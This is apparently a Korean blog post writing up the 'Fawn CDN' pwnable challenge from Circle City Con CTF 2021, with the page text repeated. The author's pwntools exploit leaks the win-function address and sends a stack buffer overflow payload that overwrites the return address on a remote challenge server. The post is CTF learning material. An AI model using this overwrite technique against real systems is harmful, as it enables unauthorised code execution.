f = open('tmp.jpg', 'w') tmp = p.recvuntil('1. List files.') f.write(tmp) f.close()
pwnable
win까지 호출하는데는 성공했지만
저부분에서 fwrite가 호출되면
이런 값이 나오는데 이 값을 jpg로 변환하는 것을 못하겠다..
+++++++++++++++++++++++++++++++++++++++++++++++
2021.06.19에 추가한 내용
https://jiravvit.tistory.com/entry/Circle-City-Con-CTF-2021-pwnable-Baby-Fawn-CDN-%ED%92%80%EC%9D%B4-overwriting?category=902325
[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting)
문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro Analysis Check Mitigation Execution & Code 1번 메뉴를 선택하면 무슨 주소를 출력해 준다. 이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수..
jiravvit.tistory.com
위 블로그에서 해답을... 찾았다
위에서 찾은 fwrite 이후의 값을 전부 jpg로 바로 쓰면 나오는...
다 찾아놓고 저기서 막혀서 못푼 문제..
실제로 내가 작성했던 exploit
from pwn import * p = remote('35.224.135.84', 1001) e = ELF('./fawncdn') libc = e.libc #gdb.attach(p) p.sendlineafter('cmd> ', str(1)) p.recvuntil('at ') leak_addr = (int(p.recvuntil('"')[:-1], 16)) leak_libc = hex(leak_addr - (e.sym.win)) #print(type(leak_addr)) payload = b"A"*0x20 payload += b"B"*0x8 payload += p64(leak_addr) p.sendlineafter(b'cmd> ', payload) p.sendlineafter(b'cmd> ', str(3)) p.interactive() ~
이상태로 출력하면 위 처럼 fwrite로 출력된 값이 나오는데, 그대로 입력 받아서
다음과 같이 추가하면 바로 나왔던 문제
* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.
2021 Circle City Con CTF
f = open('tmp.jpg', 'w') tmp = p.recvuntil('1. List files.') f.write(tmp) f.close()
pwnable
win까지 호출하는데는 성공했지만
저부분에서 fwrite가 호출되면
이런 값이 나오는데 이 값을 jpg로 변환하는 것을 못하겠다..
+++++++++++++++++++++++++++++++++++++++++++++++
2021.06.19에 추가한 내용
https://jiravvit.tistory.com/entry/Circle-City-Con-CTF-2021-pwnable-Baby-Fawn-CDN-%ED%92%80%EC%9D%B4-overwriting?category=902325
[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting)
문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro Analysis Check Mitigation Execution & Code 1번 메뉴를 선택하면 무슨 주소를 출력해 준다. 이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수..
jiravvit.tistory.com
위 블로그에서 해답을... 찾았다
위에서 찾은 fwrite 이후의 값을 전부 jpg로 바로 쓰면 나오는...
다 찾아놓고 저기서 막혀서 못푼 문제..
실제로 내가 작성했던 exploit
from pwn import * p = remote('35.224.135.84', 1001) e = ELF('./fawncdn') libc = e.libc #gdb.attach(p) p.sendlineafter('cmd> ', str(1)) p.recvuntil('at ') leak_addr = (int(p.recvuntil('"')[:-1], 16)) leak_libc = hex(leak_addr - (e.sym.win)) #print(type(leak_addr)) payload = b"A"*0x20 payload += b"B"*0x8 payload += p64(leak_addr) p.sendlineafter(b'cmd> ', payload) p.sendlineafter(b'cmd> ', str(3)) p.interactive() ~
이상태로 출력하면 위 처럼 fwrite로 출력된 값이 나오는데, 그대로 입력 받아서
다음과 같이 추가하면 바로 나왔던 문제
f = open('tmp.jpg', 'w') tmp = p.recvuntil('1. List files.') f.write(tmp) f.close()
'Pwnable' 카테고리의 다른 글